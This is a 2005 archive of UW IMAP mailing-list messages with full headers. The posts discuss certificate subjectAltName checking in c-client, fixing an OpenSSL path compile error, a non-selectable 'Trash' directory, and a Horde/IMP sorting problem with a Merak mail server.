(8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j740CVln003842; Wed, 3 Aug 2005 17:12:31 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j740CUcM003834 for ; Wed, 3 Aug 2005 17:12:30 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j740CT0p020966 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 3 Aug 2005 17:12:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j740CT6Z031293 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 3 Aug 2005 17:12:29 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j740CSBw011879 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Wed, 3 Aug 2005 17:12:28 -0700 Date: Wed, 3 Aug 2005 17:14:33 -0700 (Pacific Daylight Time) From: Mark Crispin To: Paul.Tedaldi@id.unizh.ch Subject: Re: [Imap-uw] Hard coded port questions In-Reply-To: Message-ID: References: <42B1BB0A.80403@email.arc.nasa.gov> <42B1C0DF.6030301@email.arc.nasa.gov> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Paul - I am back from vacation and am looking into implementing this. Can you identify an IMAP server system on the Internet that currently has such a server certificate? I don't need an account on it, I just need to be able to access it. Also, please verify my belief that PC Pine already has this capability and it is only UNIX Pine that has this limitation. On Fri, 17 Jun 2005, Paul.Tedaldi@id.unizh.ch wrote: > Still another way to solve the problem is, do not use a second imap > daemon. Generate your server certificate with CN= and > alternative names of > DNS:,DNS:server1.test.net,DNS:server2.test.net > and all alias names that may be used by clients to connect to the server. > openssl x509 allows you to do that. > We found it essential to repeat CN in the alternative names list. > All modern mailtools accept a cerificate if CN or one of the alternative > names matches. One notable exception is pine (or better the c-client > library at the pine61 level). It only tests CN and complains if it does > not match or you have used the novalidate-cert switch. Maybe Mark could > extend the code to accept the alternative names. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 4 14:23:45 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Aug 2005 14:23:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j74LNiUV003227 for ; Thu, 4 Aug 2005 14:23:44 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LNinE026968 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Aug 2005 14:23:44 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LNcLq006773; Thu, 4 Aug 2005 14:23:38 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LNaex006764 for ; Thu, 4 Aug 2005 14:23:36 -0700 Received: from kronus.infometrics.net (209-202-22-16.mts.net [209.202.22.16]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j74LNZsl018694 for ; Thu, 4 Aug 2005 14:23:35 -0700 Received: (qmail 36691 invoked from network); 4 Aug 2005 21:38:05 -0000 Received: from cm216036147023.westman.wave.ca (HELO ?192.168.0.9?) (216.36.147.23) by kronus.infometrics.net with SMTP; 4 Aug 2005 21:38:05 -0000 Message-ID: <42F2883B.9040004@candoltd.com> Date: Thu, 04 Aug 2005 16:27:23 -0500 From: Nick Peters User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu X-Enigmail-Version: 0.91.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] imap-2004e compile problems X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hey, I am trying to get php to have imap support (so i can run horde and imp), so i guess that means that i need to install c-client. I am trying to install onto a box running slackware 10. When i do a "make slx" i get the following error: osdep.c:238: storage size of `ssldriver' isn't known I have tried a few other ports, like sl5 etc... I haven't been able to find anything about this error message on google, and the docs that i have found don't really go into the depth that i need to figure out this problem. Has anybody ran into this before? Thanks for the help in advance. -Nick _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 4 14:36:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Aug 2005 14:36:22 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j74LaM38003788 for ; Thu, 4 Aug 2005 14:36:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LaJ3O029922 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Aug 2005 14:36:19 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LaEv8008198; Thu, 4 Aug 2005 14:36:14 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LaD60008190 for ; Thu, 4 Aug 2005 14:36:13 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LaDOF009604 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 4 Aug 2005 14:36:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LaCKR009495 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 4 Aug 2005 14:36:13 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j74LaBVx003798 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 4 Aug 2005 14:36:12 -0700 Date: Thu, 4 Aug 2005 14:36:11 -0700 (PDT) From: Mark Crispin To: Nick Peters Subject: Re: [Imap-uw] imap-2004e compile problems In-Reply-To: <42F2883B.9040004@candoltd.com> Message-ID: References: <42F2883B.9040004@candoltd.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 4 Aug 2005, Nick Peters wrote: > osdep.c:238: storage size of `ssldriver' isn't known Is this the only error message that you get? Or are there other error messages prior to this? Do you have the OpenSSL development environment installed? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 4 14:55:01 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 4 Aug 2005 14:55:01 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j74Lt1Kh004993 for ; Thu, 4 Aug 2005 14:55:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74Lt0tS028902 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Aug 2005 14:55:00 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74Lsj2l010254; Thu, 4 Aug 2005 14:54:45 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74Lsh8p010246 for ; Thu, 4 Aug 2005 14:54:43 -0700 Received: from pi2.mathtech.com (mail.mathtech.com [64.17.224.213]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j74LsgS6021180 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Thu, 4 Aug 2005 14:54:43 -0700 Received: from [192.168.36.65] (fw.mathtech.com [64.17.224.210]) (authenticated bits=0) by pi2.mathtech.com (8.12.11/8.12.11) with ESMTP id j74Lsa4U006742 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 4 Aug 2005 17:54:39 -0400 Message-ID: <42F28E9B.8010902@mtifilm.com> Date: Thu, 04 Aug 2005 17:54:35 -0400 From: Michael Russell User-Agent: Mozilla Thunderbird 1.0.2 (Windows/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Nick Peters Subject: Re: [Imap-uw] imap-2004e compile problems References: <42F2883B.9040004@candoltd.com> In-Reply-To: <42F2883B.9040004@candoltd.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I had a similar error (along with many others) using Fedora Core 2 until I update "src/osdep/unix/Makefile" like this: SSLDIR=/usr/local/ssl to: SSLDIR=/usr/share/ssl SSLINCLUDE=$(SSLDIR)/include to: SSLINCLUDE=/usr/include SSLLIB=$(SSLDIR)/lib to: SSLLIB=/usr/lib Presuming you have OpenSSL installed, then your key directories likely don't match the Makefile defaults. Michael Russell russell@mtifilm.com MTI Film, LLC Providence, RI 02906 USA Tel: (401) 831-1315 Nick Peters wrote: > Hey, > > I am trying to get php to have imap support (so i can run horde and > imp), so i guess that means that i need to install c-client. I am trying > to install onto a box running slackware 10. When i do a "make slx" i get > the following error: > > osdep.c:238: storage size of `ssldriver' isn't known > > I have tried a few other ports, like sl5 etc... I haven't been able to > find anything about this error message on google, and the docs that i > have found don't really go into the depth that i need to figure out this > problem. Has anybody ran into this before? Thanks for the help in advance. > > -Nick > _______________________________________________ > Imap-uw mailing list > Imap-uw@u.washington.edu > https://mailman1.u.washington.edu/mailman/listinfo/imap-uw _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Aug 5 07:03:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Aug 2005 07:03:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j75E3Keb017876 for ; Fri, 5 Aug 2005 07:03:20 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j75E3Ja4015420 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 5 Aug 2005 07:03:19 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j75E3BPB015407; Fri, 5 Aug 2005 07:03:11 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j75E3AHa015398 for ; Fri, 5 Aug 2005 07:03:10 -0700 Received: from kronus.infometrics.net (209-202-22-16.mts.net [209.202.22.16]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with SMTP id j75E37nM021559 for ; Fri, 5 Aug 2005 07:03:07 -0700 Received: (qmail 96632 invoked from network); 5 Aug 2005 14:17:50 -0000 Received: from cm216036147023.westman.wave.ca (HELO ?192.168.0.9?) (216.36.147.23) by kronus.infometrics.net with SMTP; 5 Aug 2005 14:17:50 -0000 Message-ID: <42F37281.2040306@candoltd.com> Date: Fri, 05 Aug 2005 09:06:57 -0500 From: Nick Peters User-Agent: Mozilla Thunderbird 1.0.2 (X11/20050317) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Subject: Re: [Imap-uw] imap-2004e compile problems References: <42F2883B.9040004@candoltd.com> <42F28E9B.8010902@mtifilm.com> In-Reply-To: <42F28E9B.8010902@mtifilm.com> X-Enigmail-Version: 0.91.0.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I figured out what was going on, it was because uw-imap was looking in the wrong place for openssl. i simply did: #make slx SSLINCLUDE=/usr/include/openssl/ that made it compile :-) Thanks for the help. Michael Russell wrote: > I had a similar error (along with many others) using Fedora Core 2 > until I > update "src/osdep/unix/Makefile" like this: > > SSLDIR=/usr/local/ssl > to: > SSLDIR=/usr/share/ssl > > SSLINCLUDE=$(SSLDIR)/include > to: > SSLINCLUDE=/usr/include > > SSLLIB=$(SSLDIR)/lib > to: > SSLLIB=/usr/lib > > Presuming you have OpenSSL installed, then your key directories likely > don't match the Makefile defaults. > Michael Russell > russell@mtifilm.com > MTI Film, LLC > Providence, RI 02906 USA > > Tel: (401) 831-1315 > > > Nick Peters wrote: > >> Hey, >> >> I am trying to get php to have imap support (so i can run horde and >> imp), so i guess that means that i need to install c-client. I am trying >> to install onto a box running slackware 10. When i do a "make slx" i get >> the following error: >> >> osdep.c:238: storage size of `ssldriver' isn't known >> >> I have tried a few other ports, like sl5 etc... I haven't been able to >> find anything about this error message on google, and the docs that i >> have found don't really go into the depth that i need to figure out this >> problem. Has anybody ran into this before? Thanks for the help in >> advance. >> >> -Nick >> _______________________________________________ >> Imap-uw mailing list >> Imap-uw@u.washington.edu >> https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 10 12:46:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Aug 2005 12:46:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7AJkYNS014183 for ; Wed, 10 Aug 2005 12:46:34 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJkXWN019972 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 10 Aug 2005 12:46:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJkFH7003954; Wed, 10 Aug 2005 12:46:15 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJkEdd003946 for ; Wed, 10 Aug 2005 12:46:14 -0700 Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.201]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJkDnX015207 for ; Wed, 10 Aug 2005 12:46:13 -0700 Received: by rproxy.gmail.com with SMTP id g11so168777rne for ; Wed, 10 Aug 2005 12:46:13 -0700 (PDT) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:to:subject:mime-version:content-type:content-transfer-encoding:content-disposition; b=KCsUBVTtRHaJsGo1UDgLLFOdmyee2rQNzVH701EMjR/ToPhlMeL1gKYd8SZNidX5fG0wCPq3aBKsZ2dXQJPB9+4frOohZII5pTAlpuRMV9MbKspKapv3/r5KjknkDGTGXJeNW6Sl0v56oNYt3Uc769ObVKgNM0pywK5ueB+m/K0= Received: by 10.38.76.64 with SMTP id y64mr355774rna; Wed, 10 Aug 2005 12:46:13 -0700 (PDT) Received: by 10.38.151.55 with HTTP; Wed, 10 Aug 2005 12:46:13 -0700 (PDT) Message-ID: Date: Wed, 10 Aug 2005 14:46:13 -0500 From: Juan Pablo Romero To: imap-uw@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Problem conecting to imap server X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello I have a problem when connecting to an imap server. I'm using Thunderbird. When I add a new account, it connects fine. But, under "Trash", there are 2 sub folders, which I can't get rid of (I suspect they are stored in some configuration file in the server, but I cannot find which). Also, after clicking in "Trash", the following message appears:=20 "The current command did not succeed. The mail server responded: SELECT failed: Can't open Trash: not a selectable mailbox". On the server, I have a file called "Trash" in my home directory. =BFwhat could be the problem? Regards Juan Pablo _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Aug 10 12:58:22 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 10 Aug 2005 12:58:22 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7AJwMVk015069 for ; Wed, 10 Aug 2005 12:58:22 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJwLX6012022 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 10 Aug 2005 12:58:21 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJw1bQ004948; Wed, 10 Aug 2005 12:58:01 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJw1AW004940 for ; Wed, 10 Aug 2005 12:58:01 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJw1Uu010644 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 10 Aug 2005 12:58:01 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7AJw0va009668 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 10 Aug 2005 12:58:00 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j7AJvwSs003939 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 10 Aug 2005 12:58:00 -0700 Date: Wed, 10 Aug 2005 12:57:58 -0700 (PDT) From: Mark Crispin To: Juan Pablo Romero Subject: Re: [Imap-uw] Problem conecting to imap server In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu If you got the "not a selectable mailbox" message, then "Trash" is not a file; it is a directory. The fact that you have two names that appear under "Trash" supports this diagnosis. If you don't want the "Trash" directory or its contents, then from the shell do: rm -rf Trash when connected to the home directory. Note that the IMAP protocol has no special notion of a "Trash" mailbox. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Aug 11 15:13:23 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 11 Aug 2005 15:13:23 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.06) with ESMTP id j7BMDN5t029237 for ; Thu, 11 Aug 2005 15:13:23 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BMDMFb010792 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 11 Aug 2005 15:13:22 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BMD6GS015219; Thu, 11 Aug 2005 15:13:06 -0700 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BMD6Q6015211 for ; Thu, 11 Aug 2005 15:13:06 -0700 Received: from smtp1.freeserve.com (smtp1.wanadoo.co.uk [193.252.22.158]) by mxe7.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.05) with ESMTP id j7BMD5DB030927 for ; Thu, 11 Aug 2005 15:13:05 -0700 Received: from me-wanadoo.net (mail.mtbcave.com [127.0.0.1]) by mwinf3016.me.freeserve.com (SMTP Server) with ESMTP id 6DFA4C400083 for ; Fri, 12 Aug 2005 00:13:04 +0200 (CEST) Received: from mail.xyz-network.com (user-3971.l6.c5.dsl.pol.co.uk [84.65.111.131]) by mwinf3016.me.freeserve.com (SMTP Server) with ESMTP id 4DC50C400082 for ; Fri, 12 Aug 2005 00:13:04 +0200 (CEST) X-ME-UUID: 20050811221304318.4DC50C400082@mwinf3016.me.freeserve.com Received: from xyz-network.com ([10.1.0.4]) by mail.xyz-network.com (Merak 8.2.4) with ASMTP id AFJ38537 for ; Thu, 11 Aug 2005 23:13:02 +0100 Received: from 10.0.1.1 ([10.0.1.1]) by mail.xyz-network.com (Horde MIME library) with HTTP; Thu, 11 Aug 2005 23:13:00 +0100 Message-ID: <20050811231300.4f2cxhoi8ckc8ogs@mail.xyz-network.com> Date: Thu, 11 Aug 2005 23:13:00 +0100 From: daniel@xyz-network.com To: imap-uw@u.washington.edu MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 7bit User-Agent: Internet Messaging Program (IMP) H3 (4.0.3) X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='NO_REAL_NAME 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] c-client and Merak mailserver X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu I have been having trouble getting Horde/IMP (PHP based webmail client using the imap_* functions provided by c-client) to access my mailserver (Merak by IceWarp (www.icewarp.com)). Someone else has posted a bug on the PHP bugs site (http://bugs.php.net/bug.php?id=30755). My bug on the horde site is at http://bugs.horde.org/ticket/?id=2398. Using the default sort methods returns an empty array to IMP, but using threaded sorting does return a list of the messages in my mailbox. I am using the latest PHP compiled against the 2004e version of c-client (which I believe is the latest), and the most up to date stable editions of Horde and IMP. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu 